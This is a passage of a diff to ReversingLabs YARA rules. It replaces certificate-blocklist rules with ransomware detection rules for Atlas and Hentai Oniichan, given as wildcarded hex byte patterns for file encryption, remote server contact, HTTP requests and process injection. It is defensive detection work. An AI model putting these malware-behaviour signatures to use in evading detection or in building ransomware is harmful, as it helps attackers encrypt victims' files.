?? ?? ?? 8B 8D + ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x8A\\xE6\\xB5\\xB7\\xE9\\x87\\x91\\xE4\\xBF\\x8A\\xE5\\x9D\\xA4\\xE8\\xAE\\xA1\\xE7\\xAE\\x97\\xE6\\x9C\\xBA\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x8D\\xE5\\x8A\\xA1\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:cc:8d:90:2d:a3:65:87:c9:b2:11:3c:d7:6c:3c:3f:8d" or pe.signatures [ i ] . serial == "cc:8d:90:2d:a3:65:87:c9:b2:11:3c:d7:6c:3c:3f:8d" ) and 1292544000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_328Bdcc0F679C4649147Fbb3Eb0E9Bc6 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Atlas : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Atlas ransomware." author = "ReversingLabs" - id = "8e2c2204-8905-5e05-9ec8-e1577ae4c2cb" - date = "2020-08-05" - modified = "2023-11-08" + id = "2c702b24-4b7e-505c-a694-0d915cc47315" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2770-L2786" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Atlas.yara#L1-L99" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6d9e1f25ca252ca9dda7714c52a2e57fd3b5dca08cd2a45c9dec18a31d3bb342" + logic_hash = "1486f931ec096a00d913de0568ddd8aa5a091256445bc28aba90e3e194ebd045" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Atlas" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 8B 74 24 ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 52 56 FF D7 8B 94 24 ?? ?? ?? ?? 8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 50 8B 84 24 ?? + ?? ?? ?? 51 52 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 8D 4C 24 ?? 8D 84 24 ?? ?? ?? + ?? 6A ?? 51 8B 4C 24 ?? 52 50 51 FF 15 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 55 53 56 FF + D7 8B 7C 24 ?? 33 C9 3B FD 89 4C 24 ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 33 F6 8A + 84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34 ?? 8A 84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34 + ?? 46 83 FE ?? 7C ?? 8B 74 24 ?? 57 56 8D 44 24 ?? 53 8D 8C 24 ?? ?? ?? ?? 50 51 E8 + ?? ?? ?? ?? 8B 54 24 ?? 8D 84 24 ?? ?? ?? ?? 52 53 56 8D 8C 24 ?? ?? ?? ?? 50 51 E8 + ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 6A ?? 52 50 53 51 FF 15 ?? + ?? ?? ?? 8B 44 24 ?? 8D 54 24 ?? 6A ?? 52 55 53 50 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B + 7C 24 ?? 41 3B FD 89 4C 24 ?? 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 85 FF 74 ?? 8B 54 24 ?? + 8D 4C 24 ?? 6A ?? 51 57 53 52 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 44 24 + ?? 50 FF D6 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 4C 24 ?? 68 ?? ?? ?? + ?? 6A ?? 51 FF D6 5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3 + } + $remote_server_1 = { + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C9 8D 94 24 ?? ?? ?? ?? 8A 0C 2E + 8D 84 24 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ?? + ?? ?? 7C ?? 8D 8C 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 52 E8 ?? ?? + ?? ?? 83 C4 ?? 33 F6 33 C0 8D 8C 24 ?? ?? ?? ?? 8A 04 1E 8D 94 24 ?? ?? ?? ?? 50 51 + 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ?? ?? ?? 7C ?? 8D 84 24 ?? ?? + ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 33 F6 F2 AE F7 D1 49 51 8D 8C 24 ?? ?? + ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ?? + 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 46 FF 15 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ?? + 33 C0 8D 94 24 ?? ?? ?? ?? F2 AE F7 D1 49 52 8D 84 24 ?? ?? ?? ?? 51 50 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? BE ?? ?? ?? ?? 8D 84 24 ?? ?? + ?? ?? 8A 10 8A 1E 8A CA 3A D3 75 ?? 84 C9 74 ?? 8A 50 ?? 8A 5E ?? 8A CA 3A D3 75 ?? + 83 C0 ?? 83 C6 ?? 84 C9 75 ?? 33 C0 EB + } + $remote_server_2 = { + 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 51 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 52 03 D8 E8 ?? ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? 8D BC 24 ?? ?? ?? ?? 83 C4 + ?? C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 83 E1 ?? 68 ?? ?? ?? ?? F3 A4 8D 8C 24 ?? ?? + ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? BB + ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? + ?? ?? ?? 03 D8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B CB 8B F0 8B + D1 BF ?? ?? ?? ?? C1 E9 ?? F3 A5 83 C4 ?? 8B CA 83 E1 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? F3 A4 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + BB ?? ?? ?? ?? 2B D8 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? + ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 03 D8 E8 ?? + ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? BF ?? ?? ?? ?? 68 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B + C8 68 ?? ?? ?? ?? 83 E1 ?? F3 A4 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ?? 33 C0 + 83 C4 ?? F2 AE F7 D1 49 83 F9 ?? 0F 82 ?? ?? ?? ?? 33 F6 8D BC 24 ?? ?? ?? ?? 8D 8C + 34 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 46 83 C7 ?? 81 FE ?? ?? + ?? ?? 72 ?? 8B 3D ?? ?? ?? ?? FF D7 8D 94 24 ?? ?? ?? ?? 56 52 8B E8 E8 ?? ?? ?? ?? + 83 C4 ?? FF D7 8B F0 8D 44 24 ?? 50 2B F5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 4C 24 ?? 8D 94 24 ?? ?? ?? ?? 51 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? + 8D 84 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 F2 AE F7 D1 49 51 8D 8C + 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + } + $send_post_packet = { + 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 + FE ?? 89 75 ?? 75 ?? 50 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B + 8B E5 5D C3 6A ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 66 89 45 ?? 52 E8 ?? ?? + ?? ?? 89 45 ?? 8D 45 ?? 6A ?? 50 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ?? + 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8D BD ?? ?? ?? ?? 83 C9 ?? + 33 C0 6A ?? F2 AE F7 D1 49 51 8D 8D ?? ?? ?? ?? 51 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? + 56 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + $send_get_request = { + 68 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 + FB ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33 + C0 5B 81 C4 ?? ?? ?? ?? C3 6A ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 66 + 89 44 24 ?? 52 E8 ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 6A ?? 50 53 E8 ?? ?? ?? ?? 83 + F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33 + C0 5B 81 C4 ?? ?? ?? ?? C3 8B FD 83 C9 ?? 33 C0 6A ?? F2 AE F7 D1 49 51 55 53 E8 ?? + ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? + 5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Nooly Systems LTD" and pe.signatures [ i ] . serial == "32:8b:dc:c0:f6:79:c4:64:91:47:fb:b3:eb:0e:9b:c6" and 1204847999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_files and $remote_server_1 and $remote_server_2 and $send_post_packet and $send_get_request } - -rule REVERSINGLABS_Cert_Blocklist_5F78149Eb4F75Eb17404A8143Aaeaed7 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Hentaioniichan : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Hentai Oniichan ransomware." author = "ReversingLabs" - id = "4c9d3bba-4e7f-5bf5-ab90-f2b900ec0b2a" - date = "2020-08-05" - modified = "2023-11-08" + id = "cd5e916f-7195-5bb6-abff-b08231053f9a" + date = "2021-03-05" + modified = "2021-03-05" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2788-L2804" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HentaiOniichan.yara#L1-L140" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0c7c9e8d2a9304e0407b8a1a29977312a9ba766a4052c6b874855fa187c85585" + logic_hash = "153526e5a2f05bc8e3f77d83eefce6b4cd962ea093b6f1c0ab8fcabe8d8a7ad9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "HentaiOniichan" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x8A\\xE6\\xB5\\xB7\\xE5\\x9F\\x9F\\xE8\\x81\\x94\\xE8\\xBD\\xAF\\xE4\\xBB\\xB6\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "5f:78:14:9e:b4:f7:5e:b1:74:04:a8:14:3a:ae:ae:d7" and 1303116124 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_629D120Dd84F9C1688D4Da40366Fab7A : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "7e6249ba-3a4f-5096-be32-779e73c88221" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2806-L2822" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "187f6ef0de869500526d1b0d5c6f6762b0a939e06781e633a602834687c64023" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 + 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? + 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? + ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? + ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B + CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? + 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 + } + $find_files_p2 = { + 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 + ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? + 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? + ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? + ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? + 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? + ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? + 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $inject_code_into_process = { + 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 8B C6 8D 8D + ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83 + C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ?? ?? + ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 15 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? + 74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? + ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 + ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? + ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 + ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? + ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B + 4D ?? 85 C9 74 ?? 51 8B D0 E8 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 8B 75 ?? 83 C4 ?? + 2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 8D 0C 40 8B C6 C1 E1 ?? 81 F9 ?? ?? ?? ?? + 72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ?? + 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 + 5B C3 E8 + } + $remote_connection_p1 = { + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45 + ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 28 45 + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45 ?? 0F 28 45 + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45 ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 + ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 0F 29 45 ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45 + } + $remote_connection_p2 = { + 0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45 + ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 + ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B8 ?? + ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 + 0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? + 0F 43 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 50 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? + E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 FA ?? 72 ?? 8B + 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? + 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 + } + $encrypt_files = { + 8B FF 55 8B EC 83 EC ?? 8B 4D ?? 89 4D ?? 53 56 8B 75 ?? 57 8B 7D ?? 89 7D ?? 85 C9 + 0F 84 ?? ?? ?? ?? 85 FF 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B C6 8B D6 C1 FA ?? 83 E0 ?? 6B C0 ?? 89 + 55 ?? 8B 14 95 ?? ?? ?? ?? 89 45 ?? 8A 5C 02 ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1 + F7 D0 A8 ?? 74 ?? 8B 45 ?? F6 44 02 ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? 56 E8 ?? ?? ?? ?? 59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 0F 87 ?? ?? ?? + ?? FF 75 ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8D + 45 ?? 57 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 45 ?? 8B 0C 85 ?? ?? ?? ?? 8B 45 ?? + 80 7C 01 ?? ?? 7D ?? 0F BE C3 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 0F 85 ?? ?? ?? + ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? + ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 01 ?? 8D 7D ?? + 33 C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? + FF 15 ?? ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 45 ?? 85 C0 75 ?? 8B 45 ?? + 85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? 